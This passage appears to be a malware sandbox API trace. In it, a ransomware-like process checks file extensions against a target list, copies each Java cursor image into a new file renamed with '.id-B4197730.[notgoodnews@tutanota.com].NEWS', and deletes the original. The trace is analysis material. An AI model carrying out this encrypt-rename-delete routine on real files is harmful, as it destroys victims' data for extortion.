lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.324] lstrlenW (lpString=".docx") returned 5 [0067.324] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0067.324] lstrlenW (lpString=".pdf") returned 4 [0067.324] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.324] lstrlenW (lpString=".xls") returned 4 [0067.324] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.324] lstrlenW (lpString=".xlsx") returned 5 [0067.324] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0067.324] lstrlenW (lpString=".ppt") returned 4 [0067.325] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0067.325] lstrlenW (lpString=".zip") returned 4 [0067.325] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.325] lstrlenW (lpString=".rar") returned 4 [0067.325] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.325] lstrlenW (lpString=".bz2") returned 4 [0067.325] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.325] lstrlenW (lpString=".7z") returned 3 [0067.325] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0067.325] lstrlenW (lpString=".dbf") returned 4 [0067.325] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0067.325] lstrlenW (lpString=".1cd") returned 4 [0067.325] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0067.325] lstrlenW (lpString=".jpg") returned 4 [0067.325] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.325] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0067.325] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25 [0067.325] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0067.325] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=153) returned 1 [0067.326] CloseHandle (hObject=0x354) returned 1 [0067.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0067.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.326] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0067.326] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.326] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.326] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0067.326] GetLastError () returned 0x0 [0067.326] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x99, lpOverlapped=0x0) returned 1 [0067.328] WriteFile (in: hFile=0x35c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xa0, lpOverlapped=0x0) returned 1 [0067.329] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.329] WriteFile (in: hFile=0x35c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x106, lpOverlapped=0x0) returned 1 [0067.329] SetEndOfFile (hFile=0x35c) returned 1 [0067.329] CloseHandle (hObject=0x35c) returned 1 [0067.330] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.330] SetEndOfFile (hFile=0x354) returned 1 [0067.331] CloseHandle (hObject=0x354) returned 1 [0067.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.331] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1 [0067.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0067.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0067.331] lstrlenW (lpString=".doc") returned 4 [0067.331] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.331] lstrlenW (lpString=".docx") returned 5 [0067.331] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0067.331] lstrlenW (lpString=".pdf") returned 4 [0067.331] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.332] lstrlenW (lpString=".xls") returned 4 [0067.332] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.332] lstrlenW (lpString=".xlsx") returned 5 [0067.332] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0067.332] lstrlenW (lpString=".ppt") returned 4 [0067.332] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0067.332] lstrlenW (lpString=".zip") returned 4 [0067.332] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.332] lstrlenW (lpString=".rar") returned 4 [0067.332] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.332] lstrlenW (lpString=".bz2") returned 4 [0067.332] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.332] lstrlenW (lpString=".7z") returned 3 [0067.332] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0067.332] lstrlenW (lpString=".dbf") returned 4 [0067.332] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0067.332] lstrlenW (lpString=".1cd") returned 4 [0067.332] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0067.332] lstrlenW (lpString=".jpg") returned 4 [0067.332] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0067.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0067.332] lstrlenW (lpString=".doc") returned 4 [0067.332] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.332] lstrlenW (lpString=".docx") returned 5 [0067.332] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0067.332] lstrlenW (lpString=".pdf") returned 4 [0067.333] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.333] lstrlenW (lpString=".xls") returned 4 [0067.333] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.333] lstrlenW (lpString=".xlsx") returned 5 [0067.333] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0067.333] lstrlenW (lpString=".ppt") returned 4 [0067.333] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0067.333] lstrlenW (lpString=".zip") returned 4 [0067.333] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.333] lstrlenW (lpString=".rar") returned 4 [0067.333] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.333] lstrlenW (lpString=".bz2") returned 4 [0067.333] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.333] lstrlenW (lpString=".7z") returned 3 [0067.333] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0067.333] lstrlenW (lpString=".dbf") returned 4 [0067.333] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0067.333] lstrlenW (lpString=".1cd") returned 4 [0067.333] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0067.333] lstrlenW (lpString=".jpg") returned 4 [0067.333] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.333] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0067.333] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23 [0067.334] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0067.334] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=147) returned 1 [0067.334] CloseHandle (hObject=0x354) returned 1 [0067.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0067.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.335] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0067.335] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.335] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.335] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0067.335] GetLastError () returned 0x0 [0067.335] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x93, lpOverlapped=0x0) returned 1 [0067.336] WriteFile (in: hFile=0x35c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xa0, lpOverlapped=0x0) returned 1 [0067.337] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.337] WriteFile (in: hFile=0x35c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x102, lpOverlapped=0x0) returned 1 [0067.337] SetEndOfFile (hFile=0x35c) returned 1 [0067.337] CloseHandle (hObject=0x35c) returned 1 [0067.338] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.338] SetEndOfFile (hFile=0x354) returned 1 [0067.339] CloseHandle (hObject=0x354) returned 1 [0067.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.339] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1 [0067.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0067.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0067.340] lstrlenW (lpString=".doc") returned 4 [0067.340] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.340] lstrlenW (lpString=".docx") returned 5 [0067.340] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0067.340] lstrlenW (lpString=".pdf") returned 4 [0067.340] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.340] lstrlenW (lpString=".xls") returned 4 [0067.340] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.340] lstrlenW (lpString=".xlsx") returned 5 [0067.340] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0067.340] lstrlenW (lpString=".ppt") returned 4 [0067.340] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0067.340] lstrlenW (lpString=".zip") returned 4 [0067.340] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.340] lstrlenW (lpString=".rar") returned 4 [0067.340] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.340] lstrlenW (lpString=".bz2") returned 4 [0067.340] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.340] lstrlenW (lpString=".7z") returned 3 [0067.340] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0067.341] lstrlenW (lpString=".dbf") returned 4 [0067.341] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0067.341] lstrlenW (lpString=".1cd") returned 4 [0067.341] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0067.341] lstrlenW (lpString=".jpg") returned 4 [0067.341] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0067.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0067.341] lstrlenW (lpString=".doc") returned 4 [0067.341] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.341] lstrlenW (lpString=".docx") returned 5 [0067.341] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0067.341] lstrlenW (lpString=".pdf") returned 4 [0067.341] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.341] lstrlenW (lpString=".xls") returned 4 [0067.341] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.341] lstrlenW (lpString=".xlsx") returned 5 [0067.341] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0067.341] lstrlenW (lpString=".ppt") returned 4 [0067.341] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0067.341] lstrlenW (lpString=".zip") returned 4 [0067.341] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.341] lstrlenW (lpString=".rar") returned 4 [0067.341] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.341] lstrlenW (lpString=".bz2") returned 4 [0067.341] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.341] lstrlenW (lpString=".7z") returned 3 [0067.342] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0067.342] lstrlenW (lpString=".dbf") returned 4 [0067.342] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0067.342] lstrlenW (lpString=".1cd") returned 4 [0067.342] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0067.342] lstrlenW (lpString=".jpg") returned 4 [0067.342] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.342] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0067.342] lstrlenW (lpString="win32_MoveNoDrop32x32.gif") returned 25 [0067.342] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0067.342] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=153) returned 1 [0067.342] CloseHandle (hObject=0x354) returned 1 [0067.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0067.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.343] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0067.343] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.343] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.343] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0067.343] GetLastError () returned 0x0 [0067.343] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x99, lpOverlapped=0x0) returned 1 [0067.345] WriteFile (in: hFile=0x35c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xa0, lpOverlapped=0x0) returned 1 [0067.346] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.346] WriteFile (in: hFile=0x35c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x106, lpOverlapped=0x0) returned 1 [0067.346] SetEndOfFile (hFile=0x35c) returned 1 [0067.346] CloseHandle (hObject=0x35c) returned 1 [0067.347] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.347] SetEndOfFile (hFile=0x354) returned 1 [0067.348] CloseHandle (hObject=0x354) returned 1 [0067.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.349] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1 [0067.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0067.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0067.349] lstrlenW (lpString=".doc") returned 4 [0067.349] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.349] lstrlenW (lpString=".docx") returned 5 [0067.349] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0067.349] lstrlenW (lpString=".pdf") returned 4 [0067.349] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.349] lstrlenW (lpString=".xls") returned 4 [0067.349] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.349] lstrlenW (lpString=".xlsx") returned 5 [0067.349] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0067.349] lstrlenW (lpString=".ppt") returned 4 [0067.349] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0067.349] lstrlenW (lpString=".zip") returned 4 [0067.349] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.349] lstrlenW (lpString=".rar") returned 4 [0067.349] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.349] lstrlenW (lpString=".bz2") returned 4 [0067.349] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.349] lstrlenW (lpString=".7z") returned 3 [0067.349] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0067.350] lstrlenW (lpString=".dbf") returned 4 [0067.350] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0067.350] lstrlenW (lpString=".1cd") returned 4 [0067.350] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0067.350] lstrlenW (lpString=".jpg") returned 4 [0067.350] 